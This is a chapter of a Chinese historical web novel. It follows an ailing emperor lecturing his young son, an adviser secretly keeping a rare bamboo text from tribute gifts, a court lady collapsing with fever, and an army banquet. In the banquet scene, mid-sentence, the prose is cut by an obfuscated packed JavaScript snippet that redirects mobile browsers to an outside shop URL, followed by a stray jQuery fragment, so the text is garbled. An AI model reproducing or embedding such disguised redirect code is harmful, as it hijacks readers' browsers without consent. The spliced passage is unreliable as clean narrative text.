16. 16

作品:《怀璧有罪

    炭火呲呲响着,案上的汤药也在呼呼冒着热气。


    夕食过后,齐琚的精神尚佳,一时兴起,要亲自给齐忞讲解《淮南子》一书。


    高阿战立即命人去寻来书简。


    只是宫人奉上竹简后,天子接过放在席上,看也不曾多看一眼。


    齐琚从小砥砺琢磨,所读之简的重量达到万石:“齐桓公昔日坐于殿中阅书,被轮人[1]说所读是糟粕,因如制作车轮一样,所怀最精华的技艺是无法言传的,待人死,那些所能言传下来的自然皆是糟粕,故我今日不与你说竹简上所记载之字。就如文帝有爱民之政…”


    士漪在一旁安静看着、听着。


    这般温馨的时刻,若是能永远如此下去该多好。


    她不是皇后,只是某位公子的夫人,偶尔听到从长安传来的诏令,想象着陛下的风姿。


    如果陛下也无病无灾,身体一直都康健,如果能真实地拥有天子可以行驶的所有权力,那么于政治上有独特见解的陛下一定会有自己的作为,颁布许多利于民、利于国的措施。


    她始终都坚信着这一点。


    可惜,太迟了。


    先王将一个无可救药的帝国交到了陛下手里。


    “然当时所发生之事与我们今下亦不同,不可如实依照…”言至一半,齐琚不再说。


    接下来该说什么呢,教导这个孩子为君之道吗?可这样的天下,他都已经挽救不了,将自己所怀不能言传的‘技艺’尽数教导了又能如何呢,难道还要冀望于一个幼子完成两代人都无法实现的事情,让他一生都背负着此事沉重前行,然后因心病早夭?


    久病的齐琚又开始感伤,他的笑容渐有苦意:“不过这些,阿瑾都不必学了,只需知道‘砥砺琢磨非金也,而可以利金;诗书壁立,非我也,而可以厉心[2]’,要好好听阿母的教导。”


    敏锐地察觉到天子语调突然转变的士漪眼眸微抬,朝室内的漏刻看去,发觉昼漏已经将要滴尽。


    她适时地开口:“阿瑾,应该要安寝了。”


    齐忞一直都很听话遵礼,当即告别:“阿瑾会谨记阿父教诲的。”


    看着如朝曦的孩子离开,齐琚的心中浮起一股无法言明的情绪。


    脑子渐渐昏沉的士漪努力保持着最后的清醒,用负伤的左手撑着长条凭几起身,朝天子垂目:“我便也不再搅扰陛下安寝了。”


    齐琚面不改色地饮完汤药,看着女子红润的脸颊,终于明白那股情绪是何意味了。


    自己竟对他们心生了妒意。


    他悲哀地叹息一声:“好。”


    -


    放下刚收到的情报,秦闾看了眼室外。


    阳光逐渐变得不再明亮。


    他也准备动身离开。


    今日三军皆在飨饮,为以防突发军情,他负责留守,待日晦之际,会再有军中校尉来接替。


    但秦闾刚出门,便看到中庭放有数个竹编箧笥。


    门口的舍人看到长公子身边的谋士,立即躬身揖手:“秦先生。”


    秦闾的目光扫过去:“这些是何物。”


    舍人低着头应答:“皆是郡太守吴箜命家臣前来献给长公子的,足有十几笥。”


    秦闾似乎很感兴趣,翻动着这些箧笥,直至看到混杂在众多简帛内的其中一卷竹简。


    竟然是六国简。


    他记得老师说过,此简早在秦王焚书的时候,被焚毁了,即使后来新国废除挟书律,民间皆献出所藏书简,但都没有这卷书简的身影。


    居然在此处,被吴箜所找到。


    秦闾如获至宝般地拿在手中,展开粗略一看,最后又轻车熟路地塞入袖中,据为自己所有。


    舍人看见,彷佛已经习惯。


    这位谋士经常如此,每次有人向长公子进献,他都会私下占据几件,只是长公子也不在意这些,凡赏赐,也皆是从这些进献的和璧隋珠中出。


    将珍视的六国简放置在安全的地方后,秦闾才心情欣喜地骑着自己的马骡出门。


    -


    士漪转身走出燕寝,履着最后的阳光走回居室。


    随侍的殷申鱼也随之跟来,命宫人将连枝灯点燃,再准备沐浴所用的热汤。


    士漪径直朝居室的东面而行,没有如往常那样在地上的蒲席跽坐,而是坐在用以寝寐的矮榻边。


    少顷,她开口摒退:“你们先出去。”


    连枝灯才点燃了三枝,还有六枝未点,殷申鱼诧异地看向行为有些反常的女子:“殿下…”


    士漪的语气渐重,宛若在竭力隐忍着什么:“出去。”


    殷申鱼实在是不放心。


    其余两个宫人则早已低头听训。


    士漪已无力动怒,因为她连愤怒的力气都没有了,于是她此时难得坦露地说出内心的诉求:“我想休息。”


    好重,睫羽好重。


    那些被自己极力压抑着的感受都在瞬间涌出,淹没了她。


    堵胀、恶心、眩晕。


    在胸口和颅中积攒了一整日,经过时间的发酵,好像猛烈了数倍不止。


    还有,头好热,手脚却好冷。


    事不过三,殷申鱼不敢再违背,迅速低头,应了声“喏”,便退步准备离开,宫人看中长秋要走,也迅速一起动。


    然刚往后退了两步,忽听到很闷的一声。


    殷申鱼抬起头,女子已经侧躺在榻上。


    她很快察觉到异常。


    殿下在生活起居方面都十分恪守礼仪,若未到寝寐之际,是不会随意坐用以安寝的矮榻,而是于蒲席跪坐。


    且未脱衣、未脱履就安寝更是不可能。


    腰间长长的用各种玉璜、玉玦等组成的组佩也因这一动作纠缠在了一起。


    在平时,殿下大带所悬垂的组佩总是整齐的,连履地时都看不到组佩会动,何况是如此。


    “殿下?”


    “殿下?”


    尚存一丝意识的士漪在呼唤声中睁开眼,她用手指紧紧抓着榻边,身体向外移,移到了榻外。


    长颈微动,便毫无预兆地呕吐了出来。


    是那些还未被完全消化的蔬食,其中除了不久之前刚吃的夕食,甚至连同清晨所进食的也全部吐出。


    殷申鱼赶紧前去扶持,防止女子不慎摔下,跌入脏污之中,与此同时,又对宫人命道:“拿盥洗的热汤来,再将这些扫去。”


    而这一触碰,瞬时大惊失色。


    女子的手掌及手臂都烫到足以炙肉。


    殷申鱼这才意识到一件事情。


    原来她们以为的气色红润,其实是大病的前兆。


    士漪吐完,终于感到舒服了一些。


    她稍稍喘息了几下,合眼休息,然后再无意识。


    殷申鱼心急如焚地再次高声命令:“快!去喊大长秋!”


    “还有陛下!”


    -


    秦闾骑着他那马骡抵达高阳亭外时,乐人在奏瑟鼓琴,笙的竹管振动着簧片发出清响。


    一切尽是燕乐之景。


    酒酣处,还有军士随之拔剑起舞。


    桓驾列席于北,后有凤鸟纹饰的漆木屏风,军中有校尉、军侯或屯长向他敬酒,他便举起酒樽,笑着一饮而尽。


    今夜本就是慰问军士在过去一年多的战争中赢得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056065|194330||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    胜利,所以青年几乎来者不拒。


    哪怕有普通军士前来,他也同样畅饮。


    到最后,跪侍在青年左右,专门负责舀酒的舍人看着空空如也的铜尊,低头请罪:“长公子,无酒了。”


    这个酒尊可盛酒数升之多,通常可供三四人饮。


    听到舍人所言,军士朝他们长公子望去。


    青年清亮的黑眸中毫无醉意,席地而坐的身体依然稳重,如北山不动,以及早已看透他们心思的谑笑。


    但这在自请担任酒吏的屠良眼中是长公子在对自己发出挑战,他也不服气,抱起自己案上的硕大铜尊,站了起来:“长公子,再来!”


    桓驾剑眉一挑,轻抬下巴,示意身边的舍人将自己的酒爵拿过去:“今日高兴,我就陪屠校尉饮个畅快。”


    屠良的力气大,一手抱着尊,一手拿杓从里面舀酒将爵给装得满到快要溢出,难免会觉得败兴:“这爵太小。”


    青年无论饮酒几升,仍能保持清醒。


    为此,屠良百思不得其解,每飨饮,必会用尽谋策,试图让青年大醉,可每次都是铩翼而归。


    桓驾从舍人手中接过,过满的酒晃荡出铜爵,滴落在虎口处。


    他站起,举爵过头:“这一年多来,诸君随我征战受尽艰辛,但仍以最强悍的武力大胜于敌,今夜我便借屠校尉的酒敬诸位。”


    言尽,数十个军士便手持着干戚起舞,寄意以武力平天下、定天下。


    屠良看到此景,振奋地先自饮了两杯,然后又要继续给青年舀酒:“长公子若不能大醉,今日就不算是燕乐飨饮,不能结束。”


    刚说完,又看见牵着马骡走来的秦闾。


    屠良大喊一声:“秦驴!你也来喝!”


    秦闾未理会,而是走到青年面前揖礼:“长公子。”


    桓驾颔首:“秦先生多有操劳,今夜便好好享受宴饮之乐。”


    秦闾禀命称“喏”,然后朝着屠良一侧的几案走去,新得六国简的他如今心情不错,对武将也和悦了几分:“屠校尉,长公子难以比拟,那你我角逐如何。”


    屠良来了兴趣,命人将酒尊盛满。


    -


    因士漪几年来从来不曾大病,如今突然昏迷,不止是随侍的宫人,卢服、殷申鱼也陷入慌乱。


    齐琚刚宽衣准备安寝,听到外面频繁有人走动的声音,非常警惕地喊来高阿战,问道:“出了何事?”


    女子身边的宫人刚来禀告完离开,高阿战听到召见,躬身进到室内,如实传达:“是殿下把今日所进食的全部吐了出来,似乎身体还发热,卢服已命人去请医师。”


    齐琚拿起大氅,欲要出门。


    与当时天子深夜去看大哭的齐忞不同,这次高阿战出言劝阻:“殿下还未醒,陛下此时去也无用,何况夜深露重,陛下何不待朝食后再去。”


    齐琚冷笑一声:“中黄门令,你以为我是先王吗,我重新任用你是怀念阿父,不是怀念那个无能的先王。”


    先王就是因宠信黄门,而导致第二次黄门之祸。


    高阿战当即就明白自己过犹不及了。


    至少现在,想要做一个君子的天子并不想听到这些。


    高阿战出言补救:“殿下最忧心的就是陛下,僕不想殿下醒来后,又因担忧陛下而无法休养身体。”


    齐琚首先是一个帝王,十六岁那年经历黄门之祸时,他就已经看透:“中黄门令需好好记住,天子之下是皇后,不是你。”


    或许自己死时,最好将老翁一起带去见阿父。


    高阿战并不知道天子所想。


    不过最后,天子也没有出门。